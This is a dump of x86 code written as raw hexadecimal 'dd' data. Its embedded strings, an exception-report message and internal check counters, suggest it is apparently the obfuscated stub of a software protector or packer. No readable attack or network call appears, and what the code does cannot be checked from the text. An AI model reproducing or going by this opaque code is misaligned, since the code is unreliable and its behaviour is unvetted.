89D0BF0Fh, 0E4192185h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 342F44A1h, 785ED287h, 198D896Eh, 8D07E426h, 0E72B5085h dd 1958B07h, 5007E414h, 23959589h, 8E907E4h, 46000000h dd 0E5B5F7F0h, 0FFB31A0Dh, 0E72BBEB5h, 0BAD7B207h, 2DE41F89h dd 1B8195FFh, 860F07E4h, 8, 0FD850950h, 5A07E419h, 2BC28589h dd 0F78107E7h, 0F2C295Dh, 2B5F858Dh, 958907E7h, 7E408CDh dd 0FF9CB650h, 0E72BBEB5h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0E626D2BFh dd 60C3E38Fh, 8FE88166h, 0CE8D4h, 89E90000h, 832C86AEh dd 9DF9ED24h, 8D89C81Dh, 7E42B49h, 95FF615Fh, 7E41B81h dd 8D952952h, 5A07E421h, 2BC68589h, 0CE807E7h, 0B7000000h dd 0F1932ECDh, 604F5CA8h, 89A2D59Eh, 0E426E5B5h, 4685907h dd 0E9000001h, 0Ah, 4F525438h, 3EB2F386h, 858D9B2Ch, 7E72C56h dd 0FB8B6653h, 9589505Ah, 7E430BDh, 2D5A858Dh, 0B15707E7h dd 6A5059ADh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 5A90C351h, 2F27FAFFh, 0FFF88B66h dd 0E413AD95h, 0FFB70F07h, 850FC085h, 4, 9CF6BF66h, 372FBD80h dd 0F0007E7h, 1685h, 99D0900h, 0E907E414h, 1504h, 18D9B589h dd 7BF07E4h, 83543D2Dh, 0E42BFDBDh, 850F0007h, 1Ch, 1981958Bh dd 0BD8307E4h, 7E73BD9h, 28840F00h, 9000000h, 0E4234195h dd 5FF85307h, 2BF3858Dh, 8B6607E7h, 14C2E9FEh, 85890000h dd 7E42EE1h, 0CE9h, 5D958B00h, 8D07E40Ah, 0E72BDE85h, 0BD315007h dd 7E424F9h, 2C56858Dh, 0EE907E7h, 0F000000h, 0D1FBC6AFh dd 0C3C2342Ch, 835C3CFBh, 9D895094h, 7E40B89h, 2C39958Bh dd 0BD8307E4h, 7E42BFDh, 67840F00h, 0E8000000h, 8, 2AAAFB01h dd 0C0341AF4h, 0CBE2F181h, 8D596C92h, 0E72D7C85h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0BD29F9D3h, 7E40D65h, 39E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0B4205619h dd 0EDA0C361h, 858DCFFDh, 7E72D65h, 8860Fh, 8D0F0000h dd 2, 33506160h, 0E40DE5BDh, 0B4858D07h, 8907E72Dh, 0E4017985h dd 519D0107h, 5007E418h, 28F0Fh, 0D38A0000h, 216995FFh dd 83F907E4h, 6A10C4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 212EABC3h, 0DF1958Bh, 8BF907E4h dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 31F57FD6h, 0E4232DBDh, 0F1BD8307h, 7E413h dd 0BD830975h, 7E40935h, 50197400h, 0B8C08B53h, 7D3h, 14798589h dd 9D8D07E4h, 7E6E9F0h, 585BD3FFh, 935BD83h, 740007E4h dd 0B8535017h, 7D3h, 14798589h, 9D8D07E4h, 7E6E6DFh, 585BD3FFh dd 3B1208BFh, 82D98072h, 8B5FCA80h, 53006AC0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0A10E7C14h dd 8166813Eh, 81656BD2h, 0E72BDEBDh, 65726F07h, 90840F61h dd 0F000000h, 0BF0FF9B7h, 56858DF9h, 5007E72Ch, 2D93858Dh dd 8D5007E7h, 0E72DB485h, 95FF5007h, 7E42169h, 0C60CC483h dd 0E42C2D85h, 4F684407h, 0FF96A318h, 0E4019DB5h, 0DC858D07h dd 0FF07E43Bh, 8DD88BD0h, 0E72DB485h, 0D3FF5007h, 2BDE858Dh dd 8D5007E7h, 0E72C5685h, 0BD835007h, 7E42BFDh, 8D087400h dd 0E72D7C85h, 8D06EB07h, 0E72D6585h, 858D5007h, 7E72DB4h dd 6995FF50h, 8307E421h, 840F10C4h, 5, 0B8E28166h, 0F1BD29CCh dd 0FF07E414h, 0E412C595h, 9CF18107h, 2570AE21h, 0FFh dd 42D8D8Bh, 0F88307E4h, 57830F05h, 3000000h, 0E4094DBDh dd 185C707h, 107E401h, 8D000000h, 0E72C1285h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 1D1BCB85h, 0DD9BADA6h, 0AE9D0h, 67260000h, 737D13D0h dd 87A9F9Dh, 70E9h, 55EF8100h, 0F061152h, 0BD83D7B7h, 7E42BFDh dd 43840F00h, 0F000000h, 58Bh, 0B70F5700h, 858D59F9h, 7E72C3Dh dd 0E119D89h, 0BD2B07E4h, 7E4153Dh, 38E9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 6657D411h, 858DD08Bh, 7E72C1Fh, 0CE9h, 31DD8200h, 3E49F038h dd 289608F9h, 52858979h, 6A07E72Ch, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 5BB5C350h dd 83D68B66h, 0E42BFDBDh, 850F0007h, 42h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ah, 78C35747h, 0F415B268h dd 8B6694FFh, 8E9FEh, 0A74A0000h, 4D3C1A6Ch, 0BD830724h dd 7E73BD9h, 0E840F00h dd 0F000000h, 9E9CFB7h, 89000011h, 0E4328D85h, 441E907h dd 49B20000h, 0BA66C08Bh, 0DA81104Eh, 0A1CD5F4h, 13F1BD83h dd 750007E4h, 35BD8309h, 7E409h, 53501974h, 0D4B8C08Bh dd 89000007h, 0E4147985h, 0F09D8D07h, 0FF07E6E9h, 83585BD3h dd 0E40935BDh, 17740007h, 0D4B85350h, 89000007h, 0E4147985h dd 0DF9D8D07h, 0FF07E6E6h, 81585BD3h, 9EC76DD7h, 0C88B663Fh dd 8B53C08Bh, 3F6859D7h, 6A000F00h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0E6D4C351h dd 0CFA7831Dh, 0E93CCCB3h, 0Fh, 0F756F6D5h, 1332DC4Bh dd 7FB3D0C7h, 89DB1E4Ch, 0E42B71BDh, 0B5006A07h, 89006ABCh dd 0E40A859Dh, 0D95FF07h, 6A07E423h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0F82BC352h dd 850FC085h, 11h, 5820Fh, 81660000h, 23EEA5F2h, 0E430658Dh dd 0D6858907h, 6607E72Bh, 0FC3991BAh, 9589006Ah, 7E42A39h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 241E3FC3h, 0C364B19Eh, 58E0Fh, 81660000h dd 6A63A0D7h, 0CA8B6600h, 0BD09006Ah, 7E40B3Dh, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0F3FD09C3h, 0BA664F53h, 858D0585h, 7E72DB4h, 19399D89h dd 0E95007E4h, 5, 7A9A75ADh, 0E8016AC5h, 0Ah, 0DC9887CAh dd 72AB6249h, 0B5895EDFh, 7E42735h, 29016A5Fh, 0E4053DBDh dd 0E9016A07h, 0Ch, 6504A0A4h, 0F09A4BB5h, 1F72EBFBh, 0F01FF68h dd 98D8B00h, 8307E423h, 0E42BFDBDh, 840F0007h, 4Ch, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 42C35343h, 10E8h dd 4BDA4700h, 5C9D5E31h, 373EDF12h, 9C7E7AEDh, 0E595336Ch dd 5F07E415h, 2C33858Dh, 0BF0F07E7h, 1AE9FAh, 95890000h dd 7E40AF9h, 2C09858Dh, 0B6007E7h, 0E4056D9Dh, 618D8B07h dd 6107E401h, 0E8F18050h, 7D58050h, 2BD6B5FFh, 0B95207E7h dd 2B2CF16Ah, 0C295FF5Ah, 3107E72Bh, 0E41E19BDh, 0FC08507h dd 1785h, 68B0F00h, 29000000h, 0E421BD8Dh, 4DE907h, 8D890000h dd 7E42561h, 2BDA8589h, 0BF6607E7h, 0B5FF8A70h, 7E72BDAh dd 95FF71B6h, 7E41921h, 0D2B7D781h, 0C0856890h, 21850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0A36B7C3h, 6AF5C8C4h, 35952310h, 8307E41Eh dd 0E42BFDBDh, 840F0007h, 3Bh, 2C33858Dh, 6A07E7h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0FD345DC3h, 0A83BBDB0h, 0BD891D76h, 7E4089Dh, 32E9h dd 9ECA8100h, 8D7DDA32h, 0E72C0985h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 678A4273h dd 0F1BD2984h, 5007E41Bh, 0B5FFF38Ah, 7E72BD6h, 0FBBEB6BFh dd 0CE95FF3Ah, 2907E72Bh, 0E422359Dh, 0C085F507h, 2A850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0A4F8D2C3h, 80089A73h, 0C2812CD2h, 4646C2B9h dd 2BDA8589h, 8D8B07E7h, 7E407A5h, 0AE9006Ah, 26000000h dd 3DCB67D7h, 0D137B2C2h, 0C59533D0h, 6A07E420h, 0B5FFFC00h dd 7E72BDAh, 1658D2Bh, 95FF07E4h, 7E72BC6h, 0C085D78Bh dd 23850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 8BD569C3h, 0E4219D95h, 0DAB5FF07h dd 0BA07E72Bh, 49D99753h, 192195FFh, 6A07E4h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0BCEA3CC3h dd 8C14ABECh, 0FC08584h, 2685h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 15BBA910h dd 0BFBFE88Ah, 6A0B206Dh, 0D1952900h, 6807E423h, 80h, 8E9h dd 0C7FF9D00h, 0FFA5479Ch, 6AD68B1Fh, 810F03h, 6A000000h dd 0FE8B6600h, 0BD89006Ah, 7E41609h, 68h, 50006AC0h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 4550B265h, 7FC7B8FCh, 13E99D30h, 0A1000000h, 0AE2E2EAEh dd 4BC085DDh, 2D95EA47h, 35A6F516h, 0B5FFD97Ch, 7E72C52h dd 14D9B589h, 95FF07E4h, 7E41FD5h, 0FFFF883h, 56A85h, 6820F00h dd 8B000000h, 0E426758Dh, 0C085FF07h, 8307E736h, 0E736C0BDh dd 840F0207h, 477h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 92C35747h, 80B2705Dh, 0C2818FC6h, 57623984h dd 243B858Dh, 8166005Bh, 0FFB08ECAh, 8D24B6D0h, 5B1E8E85h dd 9E800h, 0C9F70000h, 8C310934h, 899E7BB3h, 0E419AD85h dd 0D0FF5A07h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 3C35141h, 43484B73h, 24122B48h, 611CD781h, 0C08B18D4h dd 818BEA80h, 1C8E36CAh, 0F1BD835Ch, 7E413h, 0BD830975h dd 7E40935h, 50197400h, 0B8C08B53h, 7D8h, 14798589h, 9D8D07E4h dd 7E6E9F0h, 585BD3FFh, 935BD83h, 740007E4h, 0B8535017h dd 7D8h, 14798589h, 9D8D07E4h, 7E6E6DFh, 585BD3FFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0B9C35747h, 0BF66BF4Dh dd 0C08B7AACh, 165DBD8Bh, 3F6807E4h, 6A000F00h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 479C352h, 0B13DC8ACh, 8D8B6D49h, 7E4188Dh, 9D89006Ah dd 7E40199h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 63A8FEC3h, 370EFAB4h, 230D95FFh dd 0C08507E4h, 0DE8h, 0FED26700h, 9689617Ah, 0E2CBC6FFh dd 8960D2F4h, 0E42301BDh, 0BE907h, 5D9F0000h, 154AB9BBh dd 0AF4668FCh, 895F6117h, 0E72BD685h, 576DBA07h, 0FF6803D5h dd 81000F01h, 5B5A55F1h, 0CA816644h, 0BD83C158h, 7E42BFDh dd 4A840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 2DFBC352h, 0A463D86Ch dd 0F9286BCh, 680h, 0A98D3300h, 8907E42Fh, 0E43051B5h dd 33858D07h, 0F07E72Ch, 41E9CEBFh, 89000000h, 0E40DA99Dh dd 9858D07h, 6A07E72Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 4646C353h, 0C76813EDh dd 0E0694EAFh, 0E9D3B70Fh, 8, 0F07BFDC1h, 67000B12h, 4D8D0350h dd 0FF07E427h, 0E72BD6B5h, 0BDB52907h, 0FF07E422h, 0E72BCE95h dd 68B0F07h, 8B000000h, 0E4266995h, 11BD8B07h, 8907E42Eh dd 0E72BDA85h, 0DA816607h, 85C72ADDh, 7E41831h, 0 aFGC db 'fΏ',1Bh,'Ν½Ϊ+η',7,0 db 0Fh dd 1E384h, 0B5F56000h, 858D616Bh, 7E72EB8h, 6BEF8166h dd 0BD8B5081h, 7E42115h, 6A016Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 8D2920C3h, 7E42165h dd 0BE8h, 0B8924E00h, 45D4AF0Dh, 5FBF0D48h, 0E2C494BFh dd 0B5FF594Eh, 7E72BDAh, 0D295FFFCh, 107E72Bh, 0E400FD8Dh dd 0DAB5FF07h, 0F807E72Bh, 192195FFh, 820F07E4h, 6, 111B529h dd 0FF6807E4h, 81000F01h, 0C1F795C9h, 0FDBD835Bh, 7E42Bh dd 2A840Fh, 0CE90000h, 3E000000h, 9120E2Fh, 0C00C5A17h dd 8D6A3E48h, 0E72C3385h, 2800F07h, 0B2000000h, 5BE95Eh dd 0BD8B0000h, 7E4181Dh, 2C09858Dh, 6A07E7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0D187C3h dd 12E9EDh, 0F5200000h, 976E2100h, 0CA97D276h, 0CECE0DD1h dd 20A3C49h, 14E9h, 0AAAD4F00h, 0ACAECF6Ch, 4892FEBAh dd 5C51CD80h, 27CC0C06h, 6A50C1h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0F53D24C3h, 6B93487Bh dd 0D6B5FF24h, 6A07E72Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 760BC356h, 707E062Eh dd 0FC3135ADh, 0A630BF66h, 2BCE95FFh, 6A07E7h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0B868CEC3h, 9E823h, 0A6A60000h, 6E406420h, 6604F380h dd 665FCB8Bh, 89FC64BAh, 0E72BDA85h, 55BD2B07h, 8B07E41Dh dd 0E40D7D95h, 0DAB5FF07h, 907E72Bh, 0E40125BDh, 0CA95FF07h dd 8907E72Bh, 0E426419Dh, 0DAB5FF07h, 8907E72Bh, 0E418159Dh dd 2195FF07h, 6607E419h, 4358CA81h, 0FFF6A3E9h, 0E5B529FFh dd 0FF07E40Dh, 0E73723B5h, 9CC28107h, 0FF5B6AC8h, 0E4306195h dd 91BD8B07h, 8B07E402h, 0E4221585h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0CCC8D57Ch dd 44E98483h, 8B000005h, 0BD8D89F9h, 8D07E406h, 0E72ED8B5h dd 0ADB58907h, 107E424h, 0E42EED95h, 0D6858D07h, 2907E6DBh dd 0E4159D95h, 99952907h, 0FF07E431h, 93ED80D0h, 0F781006Ah dd 2EAE174Ah, 166595FFh, 8B6607E4h, 89F38BCEh, 0E421F5B5h dd 0D6858D07h, 8B07E6DBh, 0E4008995h, 29D0FF07h, 0E405F9B5h dd 6A006A07h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 7755C350h, 6850FB3h, 89000000h dd 0E408ED85h, 6595FF07h, 8B07E416h, 83CA8BC0h, 0E413F1BDh dd 9750007h, 935BD83h, 740007E4h, 8B535019h, 7D9B8C0h dd 85890000h, 7E41479h, 0E9F09D8Dh, 0D3FF07E6h, 0BD83585Bh dd 7E40935h, 50177400h, 7D9B853h, 85890000h, 7E41479h dd 0E6DF9D8Dh, 0D3FF07E6h, 9531585Bh, 7E40455h, 99BD8950h dd 5A07E401h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0B7AD8AC3h, 50FFB70Fh, 2C698D8Bh dd 0CE8B07E4h, 6AD88Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0D5602CC3h, 0B0BA8614h, 29958B30h dd 5307E423h, 2E59D8Dh, 38B07E4h, 438B0389h, 50438950h dd 36BC9D8Dh, 38B07E7h, 0BF5B0389h, 909A0E4h, 1275BD89h dd 6A07E4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0F6C35141h, 0E91EF8BCh, 0Fh, 0ACAECF6Ch, 4892FEBAh dd 5C51CD80h, 2BCC0C06h, 0E40D7DBDh, 0BC858D07h, 0B107E736h dd 958D89BCh, 5007E42Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 88C35646h, 0A84299AFh, 8951F4B7h, 0E42F919Dh dd 89606A07h, 0E43311B5h, 0E5858D07h, 907E402h, 0E42D2985h dd 0FB8B5007h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 9529E7C3h, 7E414E9h, 0B850Fh, 820F0000h dd 5, 5C99C8B9h, 89006A5Eh, 0E42299B5h, 18006807h, 8D8B0000h dd 7E42639h, 0DE95253h, 0E6000000h, 67661CD9h, 0D6868890h dd 96FFE6D6h, 595FF5Fh, 0E907E414h, 8, 51A10BF9h, 0EE2B14E8h dd 0F1958960h, 8907E431h, 0E42DE99Dh, 95FF6107h, 7E40971h dd 26D5958Bh, 0B5FF07E4h, 7E73723h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 31C35242h, 5882568h, 81B11D9Ch dd 89A8E3F7h, 0FBBF0F52h, 0FFD68B66h, 0E4306195h, 0D58D0107h dd 8D07E412h, 0E402E585h, 6860F07h, 8B000000h, 0E42689BDh dd 18408B07h, 25018D89h, 85C707E4h, 7E4065Dh, 0 dd 83CFBF0Fh, 0E42BFDBDh, 840F0007h, 41h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 16h, 90C35747h, 0B966227Dh dd 8C3D43DCh, 0F000000h, 16183h, 20E900h, 8A0F0000h, 9 dd 3800Fh, 0CD800000h, 983D0Ah, 830F0000h, 142h, 1A858D8Bh dd 858D07E4h, 5B243Bh, 191DBD8Bh, 0D0FF07E4h, 8DCBBF0Fh dd 5B1E8E85h, 1DBD0900h, 0FF07E419h, 57006AD0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 8DF2989Dh dd 91D2A022h, 69958B9Ch, 8B07E42Ch, 0CBB966C0h, 12E9D2h dd 70AD0000h, 98B35BE2h, 0ACC8138h, 159D4132h, 579E1275h dd 13F1BD83h, 750007E4h, 35BD8309h, 7E409h, 53501974h dd 0C6B8C08Bh, 8900000Bh, 0E4147985h, 0F09D8D07h, 0FF07E6E9h dd 83585BD3h, 0E40935BDh, 17740007h, 0C6B85350h, 8900000Bh dd 0E4147985h, 0DF9D8D07h, 0FF07E6E6h, 8B585BD3h, 0E424298Dh dd 69BD8907h, 8B07E418h, 0FB8B66C0h, 1CA5B589h, 0F88307E4h dd 4C850FFFh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 3DF9C356h, 0F114DEB8h dd 0C7F7C680h, 0E42A7585h, 7, 6830F00h, 81000000h, 0A8C5B3E2h dd 9AE96Fh, 0BD890000h, 7E41EB1h, 17E9h, 835A5200h, 850F01F8h dd 0Ch, 0ABD9523h, 0CCE907E4h, 0F9000000h, 0FFF1DBE9h dd 3E24BFFFh, 0C08B39BEh, 1F39958Bh, 0BD8307E4h, 7E413F1h dd 83097500h, 0E40935BDh, 19740007h, 0C08B5350h, 7DDB8h dd 79858900h, 8D07E414h, 0E6E9F09Dh, 5BD3FF07h, 35BD8358h dd 7E409h, 53501774h, 7DDB8h, 79858900h, 8D07E414h, 0E6E6DF9Dh dd 5BD3FF07h, 0D3BF0F58h, 0BBB9C08Bh, 891572F4h, 0E41FD9B5h dd 26AE907h, 9D890000h, 7E40E4Dh, 34C0858Dh, 6A07E7h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 2F5534C3h, 0CE9BFh, 10A90000h, 0E159774Bh, 24B9CDF8h dd 858968F3h, 7E736B8h, 1C51958Bh, 858907E4h, 7E418FDh dd 55E9h, 7D8D8900h, 8D07E41Ch, 0E732C885h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0BADA3444h, 0F8DC89Ch, 83h, 7D850100h, 0BF07E416h, 225F77F7h dd 459D8940h, 8907E403h, 0E736B885h, 0CEB70F07h, 49AFE981h dd 346A304Ch, 30C1858Dh, 0FF5007E4h, 0E736B8B5h, 0FF006A07h dd 0E4216195h, 7F88307h, 168840Fh, 8C660000h, 4C3F6DBh dd 102850Fh, 85C60000h, 7E42C2Dh, 0B8526856h, 0B5FF9CA8h dd 7E4019Dh, 3BDC858Dh, 0D0FF07E4h, 68046Ah, 6A000010h dd 0FF006A64h, 2B8589D0h, 0C607E737h, 0E42C2D85h, 9B684707h dd 0FFEC18ACh, 0E4019DB5h, 0DC858D07h, 0FF07E43Bh, 8BD0FFD0h dd 2D85C6F0h, 4F07E42Ch, 2F266168h, 0E1B5FFC6h, 8D07E40Dh dd 0E43BDC85h, 8DD0FF07h, 0E737279Dh, 286A5307h, 85D0FF56h dd 0C60075C0h, 0E42C2D85h, 98684107h, 0FFDB8764h, 0E40DE1B5h dd 0DC858D07h, 0FF07E43Bh, 448589D0h, 0C607E737h, 0E42C2D85h dd 0A4684C07h, 0FF80A4E7h, 0E40DE1B5h, 0DC858D07h, 0FF07E43Bh dd 2B9D8BD0h, 8D07E737h, 8D53045Bh, 0E737309Dh, 6A5307h dd 9D8BD0FFh, 7E7372Bh, 103C7h, 43C70000h, 20Ch, 219D8B00h dd 0C707E418h, 0E4014985h, 7, 6A006A00h, 8B006A00h, 0E7372B9Dh dd 6A5307h, 3727B5FFh, 95FF07E7h, 7E73744h, 2C2D85C6h dd 684507E4h, 92A5F797h, 1DE1B5FFh, 858D07E4h, 7E43BDCh dd 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h, 372B9D8Bh dd 43C707E7h, 0Ch, 6A006A00h, 2B9D8B00h, 5307E737h, 0B5FF006Ah dd 7E73727h, 374495FFh, 0B5FF07E7h, 7E73727h, 97195FFh dd 6A07E4h, 166595FFh, 0B58907E4h, 7E412D9h, 2BA59589h dd 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 2B0173C3h, 664617C5h, 67AF781h, 6AE8858Dh dd 6A07E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0FCB37FC3h, 3848BAEEh, 0BA66B3D1h, 0F50E6CAh dd 680h, 7BCA8100h, 6453815Ah, 35FFh, 0BD8B0000h, 7E40B99h dd 258964h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0F27BC355h, 0F0B16C3Eh dd 5DBD83F8h, 7E401h, 7F840Fh, 958B0000h, 7E40219h, 2015BD83h dd 0F0107E4h, 6C85h, 81DE8000h, 3B44BD80h, 0F0007E7h, 5C85h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 508CA801h, 5ACF8B52h, 11E9605Fh, 0C0000000h dd 276A3E48h, 0B814371Fh, 0FE0CD82Fh, 0EFA4240Ch, 0DE8h dd 0DDED8000h, 0AA6492C2h, 6FB12B3Dh, 0F9BE5FB0h, 586BB026h dd 1B9E961h, 0B70F0000h, 0BADB33FFh, 1EFB608Ch, 6AC033h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 142B4AC3h, 136FA0Ch, 0E40B9D8Dh, 3F0F4007h, 8F640B07h dd 5, 4C48300h, 73826CBAh, 50006A1Ah, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 533EC04h, 0DC6F6D15h dd 83F9F976h, 840FFFFBh, 29h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0A6C35747h, 0E9B8CCEFh, 115h dd 0A07905BAh, 8CE92Dh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0EA18C7C3h, 0ADD61F80h dd 8B46B24Bh, 0C70C244Ch, 0A481h, 0FFFFFF00h, 0B88183FFh dd 4000000h, 8BC3C033h, 550C245Ch, 0E8h, 0ED815D00h, 7E76B0Ah dd 0B8838Bh, 858D0000h, 7E76BD8h, 0B88389h, 335D0000h dd 8166C3C0h, 6A5CFFC9h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 8B8AC351h, 6672FB69h dd 858DCF8Bh, 7E76B00h, 10E860h, 1B910000h, 0DAD0D8B3h dd 0ABE8EEh, 133577C7h, 9D0173B0h, 7E427ADh, 7E959h, 59320000h dd 17FA4F96h, 66506115h, 8BF489B9h, 0E417F18Dh, 35FF6407h dd 0 dd 85958Bh, 896407E4h, 25h, 28B0F00h, 0B2000000h, 0AB958h dd 4B80000h, 54855D7h, 0DF78164h, 85D465BBh, 0B640BA86h dd 0EA810034h, 345FE8h, 68FB81EDh, 75564D58h, 2D85C70Ah dd 107E40Eh, 64000000h, 58Fh, 0C4830000h, 0CA8B6604h, 8BC08BF9h dd 0E403DD95h, 0F1BD8307h, 7E413h, 0BD830975h, 7E40935h dd 50197400h, 0B8C08B53h, 43Dh, 0EED8589h, 9D8D07E4h, 7E6EA57h dd 585BD3FFh, 935BD83h, 740007E4h, 0B8535017h, 43Dh, 0EED8589h dd 9D8D07E4h, 7E6E6F8h, 585BD3FFh, 2679B529h, 0C08B07E4h dd 147E9h, 400h, 392E3100h, 3031h, 6 dup(0) dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h dd 20202020h, 25203D20h, 0D0A64h, 2D7DBD83h, 0F0007E4h dd 12D84h, 0F858D00h, 5007E6E5h, 0E479858Dh, 685007E6h dd 80000001h, 0E51F95FFh, 858D07E6h, 7E76C46h, 50858D50h dd 5007E76Ch, 6A006Ah, 0E48D858Dh, 0FF5007E6h, 0E6E50FB5h dd 0F995FF07h, 8D07E401h, 0E76C4685h, 858D5007h, 7E76C54h dd 6A006A50h, 9F858D00h, 5007E6E4h, 0E50FB5FFh, 95FF07E6h dd 7E401F9h, 6C46858Dh, 8D5007E7h, 0E76C6085h, 6A5007h dd 858D006Ah, 7E6E4ECh, 0FB5FF50h, 0FF07E6E5h, 0E401F995h dd 46858D07h, 5007E76Ch, 6C68858Dh, 6A5007E7h, 8D006A00h dd 0E6E50A85h, 0B5FF5007h, 7E6E50Fh, 1F995FFh, 858D07E4h dd 7E76C46h, 64858D50h, 5007E76Ch, 6A006Ah, 0E4F3858Dh dd 0FF5007E6h, 0E6E50FB5h, 0F995FF07h, 8D07E401h, 0E76C4685h dd 858D5007h, 7E76C58h, 6A006A50h, 0FB858D00h, 5007E6E4h dd 0E50FB5FFh, 95FF07E6h, 7E401F9h, 6C46858Dh, 8D5007E7h dd 0E76C5C85h, 6A5007h, 858D006Ah, 7E6E502h, 0FB5FF50h dd 0FF07E6E5h, 0E401F995h, 0FB5FF07h, 0FF07E6E5h, 0E4213595h dd 0A2E907h, 0BD830000h, 7E41525h, 95840F00h, 83000000h dd 0E42015BDh, 850F0007h, 11h, 2D39958Bh, 0C28107E4h, 1CF8h dd 0FE9h, 